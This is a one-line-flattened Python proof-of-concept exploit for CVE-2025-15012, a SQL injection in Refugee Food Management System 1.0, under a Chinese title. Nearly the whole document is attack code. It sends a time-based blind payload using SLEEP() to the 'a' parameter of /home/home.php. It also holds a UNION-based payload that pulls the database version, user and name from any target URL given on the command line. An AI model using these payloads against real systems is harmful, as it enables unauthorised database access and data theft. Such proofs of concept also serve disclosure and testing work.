CVE-2025-15012: Refugee Food Management System SQL注入漏洞

import requests import sys # CVE-2025-15012 SQL Injection PoC # Target: Refugee Food Management System 1.0 # Endpoint: /home/home.php def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-15012 """ # SQL Injection payload - time-based blind injection # Using SLEEP() function to confirm vulnerability payload_true = "a' AND SLEEP(5)-- -" payload_false = "a' AND SLEEP(0)-- -" # Normal request for baseline normal_url = f"{target_url}/home/home.php?a=test" # Vulnerable endpoint with payload vuln_url = f"{target_url}/home/home.php?a={payload_true}" print(f"[*] Testing target: {target_url}") print(f"[*] Normal request: {normal_url}") try: # Send normal request normal_start = requests.get(normal_url, timeout=10).elapsed.total_seconds() # Send malicious request vuln_start = requests.get(vuln_url, timeout=30).elapsed.total_seconds() # If vulnerable, response time should be >= 5 seconds if vuln_start >= 5: print(f"[+] VULNERABLE! Response time: {vuln_start}s") print(f"[+] SQL Injection confirmed via time-based blind technique") return True else: print(f"[-] Not vulnerable or target not found") return False except requests.exceptions.Timeout: print("[+] VULNERABLE! Request timed out as expected (SLEEP injection)") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def extract_data(target_url): """ Extract database information using UNION-based injection """ # Database version extraction payload payload = "a' UNION SELECT NULL,version(),user(),database()-- -" vuln_url = f"{target_url}/home/home.php?a={payload}" print(f"[*] Extracting database information...") try: response = requests.get(vuln_url, timeout=10) if response.status_code == 200: print(f"[+] Response received, check output for database info") return response.text except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15012.py <target_url>") print("Example: python cve-2025-15012.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)